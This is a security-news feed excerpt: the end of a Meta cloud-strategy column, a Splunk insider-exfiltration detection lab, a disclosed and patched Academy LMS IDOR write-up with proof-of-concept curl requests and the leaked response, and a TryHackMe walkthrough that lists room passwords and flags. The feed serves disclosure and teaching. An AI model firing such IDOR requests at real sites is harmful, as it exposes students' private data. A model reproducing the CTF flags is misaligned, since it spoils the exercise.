<p class="wp-block-paragraph">The first problem Meta faces is that this is not an open opportunity. The <a href="https://www.infoworld.com/article/4140865/neoclouds-run-ai-cheaper-and-better.html">neocloud</a> space, meaning purpose-built AI infrastructure delivered as a service, is already crowded and increasingly difficult to enter. Amazon, Microsoft, and Google dominate the conversation for obvious reasons. They have years of cloud operating experience, broad service portfolios, global reach, mature ecosystems, and deeply established enterprise relationships. Oracle remains a serious player as well, especially in enterprise applications, data platforms, and performance-sensitive workloads. IBM still matters in <a href="https://www.networkworld.com/article/964498/what-is-hybrid-cloud-computing.html">hybrid cloud</a>, operations, and industries where governance and regulatory rigor remain central.</p>



<p class="wp-block-paragraph">That list alone should give Meta pause. These companies are not just infrastructure vendors. They are experienced cloud operators. They have spent years building not only the underlying platforms, but also the native capabilities enterprises now expect by default. Those capabilities include security, governance, identity management, observability, support, compliance, billing controls, resilience planning, and integration with the broader enterprise technology estate. These are not secondary features. They are part of the core value proposition.</p>



<p class="wp-block-paragraph">This is why late entry into the cloud market is so hard. A new provider is not just competing on price or capacity. It is competing against accumulated trust. Enterprises are not casual buyers. They are selecting long-term operating environments for applications, data, AI models, and business-critical processes. They want confidence that the provider understands how these services will be consumed, governed, and supported over time. Meta is entering a market where the incumbents already have a major head start on all of those fronts.</p>



<h2 class="wp-block-heading">Harder than it looks</h2>



<p class="wp-block-paragraph">Over the years, I have had many technology companies come to me and say they wanted to reposition their technology in the cloud space, either as <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">software as a service</a> or infrastructure as a service. In the beginning, enthusiasm is always high. The technology is impressive. The market size looks attractive. The revenue models appear compelling. Investors love the story. Then we begin to walk through what it really means to operate as a cloud provider, and the optimism usually fades fast.</p>



<p class="wp-block-paragraph">The questions become very practical and very uncomfortable. How will tenants be isolated? How will <a href="https://www.csoonline.com/article/518296/what-is-iam-identity-and-access-management-explained.html">identity and access controls</a> work across different kinds of customers? What governance models will be built in natively? How will workloads be monitored, optimized, and secured? What does support look like 24 hours a day, across regions, across industries, across compliance boundaries? How will outages be handled, communicated, and remediated? How will the platform integrate with existing customer tools for operations, policy management, and security response? How much investment will it take just to become credible before you even begin to differentiate?</p>



<p class="wp-block-paragraph">Once companies fully understand the complexities, market dynamics, and the capital and execution required to compete even with secondary players, many of them back off. They realize that cloud technology is not a packaging exercise. It is a transformation in how a company designs, operates, supports, sells, and evolves technology. That is why I remain skeptical when any company assumes it can translate internal infrastructure excellence into external cloud success without a very long, disciplined commitment.</p>



<h2 class="wp-block-heading">Meta’s market readiness</h2>



<p class="wp-block-paragraph">Of course, Meta is not lacking in financial resources. If any company can afford to spend aggressively in this space, it is Meta. The company has the capital to build infrastructure, absorb losses, hire experienced talent, and stay in the market long enough to make a serious attempt. I would never argue that Meta is too small or too poor to try. Quite the opposite. If there is any non-traditional entrant with the financial scale to force itself into the conversation, Meta would be high on the list.</p>



<p class="wp-block-paragraph">But money does not erase complexity. It only gives you the chance to confront it. The real question is not whether Meta can afford to become a cloud provider. The question is whether Meta has what it takes to become an <em>excellent </em>cloud provider. Those are two very different things. Enterprises are not going to move meaningful workloads to a new platform simply because the company behind it is wealthy or technically famous. They are going to ask whether the provider understands enterprise consumption patterns, enterprise risk, enterprise governance, and enterprise operations.</p>



<p class="wp-block-paragraph">That is where the challenge becomes much more serious. Meta has extensive experience running infrastructure for itself. That is valuable, but internal operating excellence is not the same thing as external service maturity. Running systems for your own workloads allows a high degree of control over architecture, standards, priorities, and operating assumptions. Running systems for paying customers requires flexibility, consistency, transparency, and support across a wide range of use cases that you do not control. Those are very different disciplines, and companies often underestimate the gap between them.</p>



<h2 class="wp-block-heading">What exactly is Meta?</h2>



<p class="wp-block-paragraph">Another concern here is strategic clarity. Meta already has a complicated market identity. It is a social media company, an advertising platform company, a hardware company, an AI company, and still, in the minds of many, the company that spent billions pursuing the metaverse. If it now wants to be viewed as a serious cloud infrastructure provider, it will need to explain not only what it is offering, but why customers should believe this is a durable long-term commitment and not just another adjacent experiment.</p>



<p class="wp-block-paragraph">That uncertainty can be damaging. Customers want stable providers with clear strategic intent. They do not want to architect important systems around a platform if they suspect the provider may lose interest, shift direction, or reframe the business after a few years of uneven results. Cloud computing requires patience, consistency, and deep customer orientation. It is not a market where strategic ambiguity helps.</p>



<p class="wp-block-paragraph">This could become confusing for Meta internally as well. Building a true cloud business demands focus. It demands years of investment in areas that may not be glamorous but are absolutely necessary, such as governance, operations, controls, support frameworks, partner programs, and enterprise sales alignment. If the company is not willing to make those sacrifices fully and for the long term, the initiative will struggle.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate]]></title>
<description><![CDATA[No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM LabMost detection conten...]]></description>
<link>https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:42 +0200</pubDate>
<content:encoded><![CDATA[<p><em>No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.</em></p><p><em>By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM Lab</em></p><p>Most detection content is about outsiders — brute force, phishing, exploits. The attacker is external, the activity is obviously malicious, and the logs light up.</p><p>Insider threats are the opposite. The account is valid. The access is authorized. Every individual action, viewed on its own, looks like normal work. There’s no single event you can alert on. And that’s exactly what makes them the hardest thing a SOC has to catch.</p><p>I built a Splunk lab to detect one end to end. This is how it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6GmRtez2BHftjN-yNHsBWw.png"><figcaption><em>The Meridian SOC dashboard — six live panels built in Splunk, pulling from the same data this insider threat scenario generated.</em></figcaption></figure><p><strong>The scenario</strong></p><p>A fictional e-commerce company, Meridian Commerce Inc. A Finance account on a Windows 11 workstation (FIN-WKS-04) with legitimate access to customer payment data. The insider does three things:</p><ol><li><strong>Reads</strong> the payment file C:\CustomerExports\payments_export.csv. This account is allowed to. <em>(Event ID 4663)</em></li><li><strong>Compresses</strong> it with PowerShell’s Compress-Archive. Zipping a file isn't malicious. <em>(Event ID 4104)</em></li><li><strong>Exfiltrates</strong> it to an external host with curl.exe over port 4444. One outbound connection among thousands. <em>(Event ID 5156)</em></li></ol><p>Read, zip, upload. Three ordinary actions. No perimeter control catches this because nothing is breached. No auth alert fires because the login is valid. The attack lives entirely inside legitimate behavior. The only way to see it is to stop looking at events individually and start looking at the pattern they form together.</p><p><strong>Problem 1 — the workstation logs almost nothing by default</strong></p><p>Before correlating anything, I found the telemetry wasn’t even there. A default Windows 11 workstation doesn’t log these events. Three audit subcategories must be explicitly enabled: File System (4663) plus a SACL on the folder, PowerShell Script Block Logging (4104), and Filtering Platform Connection (5156). Without them, the read, the compression, and the exfiltration are all invisible. If these aren’t on <em>before</em> the attack, there’s nothing to detect after — the evidence was never written.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1LoptNEb58AKqbhooSulhA.png"><figcaption><em>The file-read stage caught in Splunk via Event ID 4663 — the first of three subcategories that are disabled by default on a stock Windows 11 workstation.</em></figcaption></figure><p><strong>Problem 2 — the compression step tried to hide</strong></p><p>I expected to catch the compression via Event ID 4688 (Process Creation). It never fired. Compress-Archive is a native PowerShell cmdlet — it runs inside the existing PowerShell engine and doesn't spawn a child process, so there's no 4688. Any detection relying only on process-creation auditing is blind to PowerShell-native staging. That's why Script Block Logging (4104) matters — it captures the cmdlet with full parameter bindings, including exact source and destination paths.</p><p><strong>The detection — correlating three stages into one incident</strong></p><pre>index=windows (EventCode=4663 Object_Name="*CustomerExports*")<br>    OR (EventCode=4104 _raw="*CompressFilesHelper*")<br>    OR (EventCode=5156 Destination_Port=4444)<br>| transaction host maxspan=30m<br>| where eventcount &gt;= 3<br>| table _time, host, eventcount, duration</pre><p>The three OR conditions each match one stage. transaction host maxspan=30m groups events on the same host within a 30-minute window into one logical unit — the line that turns scattered events into a story. where eventcount &gt;= 3 only fires when all three stages hit the same host inside that window. One stage, nothing. Two, nothing. All three in sequence — that's a kill chain, not coincidence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ChuETHBGAxo0WqS68UXnKA.png"><figcaption><em>27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04. Three innocent-looking actions revealed as one exfiltration chain.</em></figcaption></figure><p>Result: <strong>27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04.</strong> One alert with the full narrative instead of 27 disconnected log lines nobody would piece together manually.</p><p><strong>What happens after the alert fires</strong></p><p>Detecting the chain is only step one. Here’s how I’d actually triage this in a live SOC:</p><p><strong>Severity:</strong> High. Confirmed customer PII touched, compressed, and sent to an external host — this isn’t “suspicious,” it’s a completed exfiltration, not an attempt.</p><p><strong>First move:</strong> Isolate FIN-WKS-04 from the network immediately to stop any further outbound activity, and disable the account pending investigation — not delete it, since the account and its full history are now evidence.</p><p><strong>Scope the blast radius:</strong> Pull every file that account touched in the same session window, not just the one flagged file — the transaction proves this exfiltration; it doesn’t rule out others in the same session.</p><p><strong>Escalate, don’t conclude:</strong> This is exactly the kind of finding that gets handed to IR and HR jointly, not closed solo by a SOC analyst. My job at this stage is to hand over a clean timeline, not decide intent — that’s a human resources and legal call, not a technical one.</p><p><strong>Tune after, don’t tune during:</strong> The 30-minute window and the 3-event threshold both need validation against real traffic before this becomes a production rule — a busy analyst doing legitimate bulk export-and-archive work could trip the same pattern. That tuning is exactly what separates a lab detection from a production one.</p><p>That last part matters more than the query itself. A rule that fires is only useful if someone downstream knows what to do the moment it does.</p><p><em>This is Phase 5 of a full Splunk Enterprise SIEM lab I built from scratch — 6 OWASP Top 10 detections, a live SOC dashboard, incident reports, and two documented detection gaps. Full lab and all SPL: github.com/ronakmishra28/meridian-soc-detection-lab</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=aeac34ea7190" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate-aeac34ea7190">How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers]]></title>
<description><![CDATA[Author: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzads Type: Independent Security Research | WordPress Plugin CVE ResearchThis is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed a...]]></description>
<link>https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:36 +0200</pubDate>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTFnySBjd6cxjcwiw7Mxpg.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a> <br>GitHub: <a href="http://github.com/alisalive">alisalive</a> <br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads</a> <br>Type: Independent Security Research | WordPress Plugin CVE Research</h4><p>This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.</p><p>Background: Why Academy LMS</p><p>My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.</p><p>Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?</p><p>This turned out to be exactly the right question.</p><p>Understanding the Architecture</p><p>Academy LMS uses two parallel systems for handling API requests.</p><p>The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.</p><p>The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.</p><p>When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.</p><p>The Quiz attempts controller told a different story.</p><p>Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' =&gt; '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.</p><p>The Vulnerability: Two Separate Failure Points</p><p>The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.</p><p>Failure point one: the target user was read from the request, not the session.</p><pre>// addons/quizzes/api/quiz-attempts.php, line ~305<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><p>The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.</p><p>Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.</p><pre>// lines ~308-315<br>$is_administrator = current_user_can( 'administrator' );<br>$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );<br>$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );<br>$is_public        = \Academy\Helper::is_public_course( $course_id );</pre><pre>if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {<br>    // returns attempt details<br>}</pre><p>Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.</p><p>The database query confirmed the full impact:</p><pre>// classes/query.php, get_quiz_attempt_details()<br>"SELECT<br>    attempt_answers.attempt_id,<br>    attempt_answers.user_id,<br>    attempt_answers.is_correct,<br>    attempt_answers.answer as given_answer,<br>    quiz_answers.answer_title as correct_answer,<br>    quiz_answers.answer_content,<br>    quiz_answers.is_correct as is_correct_answer,<br>    quiz_questions.question_title,<br>    quiz_questions.question_type,<br>    ...<br>FROM {$wpdb-&gt;prefix}academy_quiz_attempt_answers as attempt_answers<br>LEFT JOIN {$wpdb-&gt;prefix}academy_quiz_answers as quiz_answers<br>    ON attempt_answers.question_id = quiz_answers.question_id<br>WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"</pre><p>The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.</p><p>The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.</p><p>Both were confirmed exploitable during testing.</p><p>The Contrast with the Fixed Code</p><p>What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:</p><pre>// includes/api/notes.php (fixed)<br>public function get_user_notes( $request ) {<br>    $user_id = get_current_user_id();<br>    // ...<br>}</pre><p>No $request-&gt;get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.</p><p>This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.</p><p>Live Proof of Concept</p><p>I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.</p><p>Actors in the test:</p><ul><li>Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course</li><li>Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker</li></ul><p>The attacker authenticates normally and obtains a valid REST nonce:</p><pre>curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null<br>curl -s -b cj.txt -c cj.txt \<br>  --data-urlencode 'log=pocsubscriber' \<br>  --data-urlencode 'pwd=PASSWORD' \<br>  --data-urlencode 'wp-submit=Log In' \<br>  --data-urlencode 'testcookie=1' \<br>  "http://TARGET/wp-login.php" -o /dev/null</pre><pre>NONCE=$(curl -s -b cj.txt \<br>  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")</pre><p>The attacker then sends a request supplying the victim’s user_id and attempt_id:</p><pre>curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \<br>  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&amp;user_id=5"</pre><p>The response:</p><pre>{<br>  "3": {<br>    "attempt_id": "3",<br>    "user_id": "5",<br>    "is_correct": true,<br>    "given_answer": [],<br>    "correct_answer": [<br>      {<br>        "answer_id": "2",<br>        "quiz_id": "33",<br>        "answer_title": "SECRET_CORRECT_Paris",<br>        "answer_order": "1"<br>      }<br>    ],<br>    "answer_content": "CORRECT_ANSWER_CONTENT",<br>    "question_title": "Capital of France?",<br>    "question_type": "true_false"<br>  }<br>}</pre><p>User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:</p><pre>curl -s -b cj.txt \<br>  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \<br>  --data-urlencode 'security=ACADEMY_NONCE' \<br>  --data-urlencode 'course_id=32' \<br>  --data-urlencode 'attempt_id=3' \<br>  --data-urlencode 'user_id=5' \<br>  "http://TARGET/wp-admin/admin-ajax.php"</pre><p>Response: "success": true, same data.</p><p>Impact Assessment</p><p>The impact has two distinct dimensions.</p><p>The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.</p><p>The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.</p><p>The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.</p><p>CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).</p><p>Disclosure Timeline</p><p>Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02</p><p>Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02</p><p>Submitted to WPScan vulnerability database with CVE request: 2026–07–02</p><p>WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02</p><p>Fix confirmed in latest version by code review (all $request-&gt;get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10</p><p>Write-up published: 2026–07–10</p><p>The Fix</p><p>The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:</p><pre>// Before (vulnerable):<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><pre>// After (fixed):<br>$current_user_id = get_current_user_id();</pre><p>The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.</p><p>What This Teaches</p><p>A few things stood out during this research that are worth naming explicitly.</p><p>The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.</p><p>The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.</p><p>Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.</p><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my projects on</em> <a href="http://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c68bfe06f3a0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers-c68bfe06f3a0">How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe — Linux Agency | Complete Write-Up & Walkthrough]]></title>
<description><![CDATA[“Agent 47, your mission begins. 30 targets stand between you and the root.”Author: Shikhali JamalzadeGitHub: github.com/alisaliveLinkedIn: linkedin.com/in/camalzads📋 Room OverviewPlatform TryHackMe Room Name Linux Agency Link https://tryhackme.com/room/linuxagency Difficulty Medium Category Linux...]]></description>
<link>https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:38 +0200</pubDate>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSkSbmZiLuuvwoZUpWjb2w.png"></figure><blockquote>“Agent 47, your mission begins. 30 targets stand between you and the root.”<br>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub<strong>:</strong> <a href="https://github.com/alisalive">github.com/alisalive</a><br>LinkedIn<strong>:</strong> <a href="https://linkedin.com/in/camalzads">linkedin.com/in/camalzads</a></blockquote><h3>📋 Room Overview</h3><p><strong>Platform</strong> TryHackMe <br><strong>Room Name</strong> Linux Agency <br><strong>Link</strong> <a href="https://tryhackme.com/room/linuxagency">https://tryhackme.com/room/linuxagency</a> <br><strong>Difficulty</strong> Medium <br><strong>Category</strong> Linux Fundamentals + Privilege Escalation <br><strong>Initial Access</strong> SSH (agent47)</p><h3>🎯 About This Room</h3><p><strong>Linux Agency</strong> is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of <strong>Agent 47</strong> — a secret agent tasked with infiltrating the ICA Agency, chaining through <strong>30 mission accounts</strong>, eliminating special targets, and ultimately achieving <strong>root</strong>.</p><p>This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:</p><ul><li>🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)</li><li>💻 Multiple programming languages (Python, Ruby, Java, C)</li><li>🔐 Encoding/decoding (Base64, Binary, Hex)</li><li>📅 Cron job exploitation</li><li>⚡ Sudo privilege escalation via GTFOBins</li><li>🐳 Docker privilege escalation</li><li>🔑 SSH private key cracking</li></ul><h3>🛠️ Tools Used</h3><ul><li>ssh, su, find, grep, cat, ls, strings, file</li><li>base64, xxd</li><li>gcc, javac, java, python3, ruby</li><li>netcat (nc)</li><li>ssh2john + john (John the Ripper)</li><li>ss (socket statistics)</li><li>GTFOBins</li><li>Docker</li></ul><h3>⚙️ Setup</h3><p>Start the machine on TryHackMe and wait about a minute. Then connect:</p><pre>ssh agent47@&lt;MACHINE_IP&gt;</pre><p><strong>Password:</strong> 640509040147</p><p>Once connected you’ll see:</p><pre>agent47@linuxagency:~$</pre><p>The mission begins. 🚀</p><h3>🗂️ Task 2: Initial Access</h3><p>The room’s mechanic is straightforward:</p><ul><li>Every flag found acts as the <strong>password</strong> for the next user</li><li>Flag format: missionX{md5_hash}</li><li>Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...</li></ul><h3>🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)</h3><h3>🎯 Mission 1</h3><p>As <strong>agent47</strong>, the first task is finding mission1’s flag.</p><pre>find / -type f -name "*.txt" 2&gt;/dev/null<br># Or directly check:<br>ls /home/mission1/<br>cat /home/mission1/&lt;flag_file&gt;</pre><p>Now switch to mission1:</p><pre>su mission1<br># Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>find for filesystem-wide searching, understanding the </em><em>/home directory structure.</em></blockquote><h3>🎯 Mission 2</h3><p>As <strong>mission1</strong>:</p><pre>find / -type f -name "mission2" 2&gt;/dev/null<br>cat &lt;found_path&gt;</pre><pre>su mission2<br># Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}</pre><h3>🎯 Mission 3</h3><pre># As mission2:<br>grep -r "mission3" . 2&gt;/dev/null</pre><pre>su mission3<br># Password: mission3{ab1e1ae5cba688340825103f70b0f976}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>grep -r for recursive content searching across directories.</em></blockquote><h3>🎯 Mission 4</h3><pre># As mission3:<br>cd /home/mission3<br>ls<br>cat flag.txt</pre><pre>su mission4<br># Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}</pre><h3>🎯 Missions 5–8</h3><p>These follow a similar pattern — searching the filesystem:</p><pre># As mission4:<br>grep -r "mission5" / 2&gt;/dev/null<br>su mission5<br># Password: mission5{bc67906710c3a376bcc7bd25978f62c0}</pre><pre># As mission5:<br>grep -r "mission6" / 2&gt;/dev/null<br>su mission6<br># Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}</pre><pre># As mission6:<br>grep -r "mission7" / 2&gt;/dev/null<br>su mission7<br># Password: mission7{53fd6b2bad6e85519c7403267225def5}</pre><pre># As mission7:<br>grep -r "mission8" / 2&gt;/dev/null<br>su mission8<br># Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}</pre><h3>🎯 Mission 9</h3><pre># As mission8:<br>ls<br>cat flag.txt</pre><pre>su mission9<br># Password: mission9{ba1069363d182e1c114bef7521c898f5}</pre><h3>🎯 Missions 10–11</h3><pre># As mission9:<br>grep -r "mission10" / 2&gt;/dev/null<br>su mission10<br># Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}</pre><pre># As mission10:<br>grep -r "mission11" / 2&gt;/dev/null<br>su mission11<br># Password: mission11{db074d9b68f06246944b991d433180c0}</pre><h3>🎯 Mission 12 — Environment Variable</h3><p>This time the flag is hidden inside an <strong>environment variable</strong>, not a file!</p><pre># As mission11:<br>env | grep mission12</pre><pre>su mission12<br># Password: mission12{f449a1d33d6edc327354635967f9a720}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!</em></blockquote><h3>🎯 Mission 13 — File Permissions</h3><pre># As mission12:<br>ls -la /home/mission12/<br># flag.txt exists but you have no read permission!<br>chmod 777 /home/mission12/flag.txt<br>cat /home/mission12/flag.txt</pre><pre>su mission13<br># Password: mission13{076124e360406b4c98ecefddd13ddb1f}</pre><blockquote><strong>💡 What we learned:</strong><em> Linux file permissions and </em><em>chmod. Always use </em><em>ls -la — the </em><em>-a flag reveals hidden files and the </em><em>-l flag shows permissions clearly.</em></blockquote><h3>🎯 Mission 14 — Base64 Decode</h3><pre># As mission13:<br>cat /home/mission13/flag.txt | base64 -d</pre><pre>su mission14<br># Password: mission14{d598de95639514b9941507617b9e54d2}</pre><blockquote><strong>💡 What we learned:</strong><em> Base64 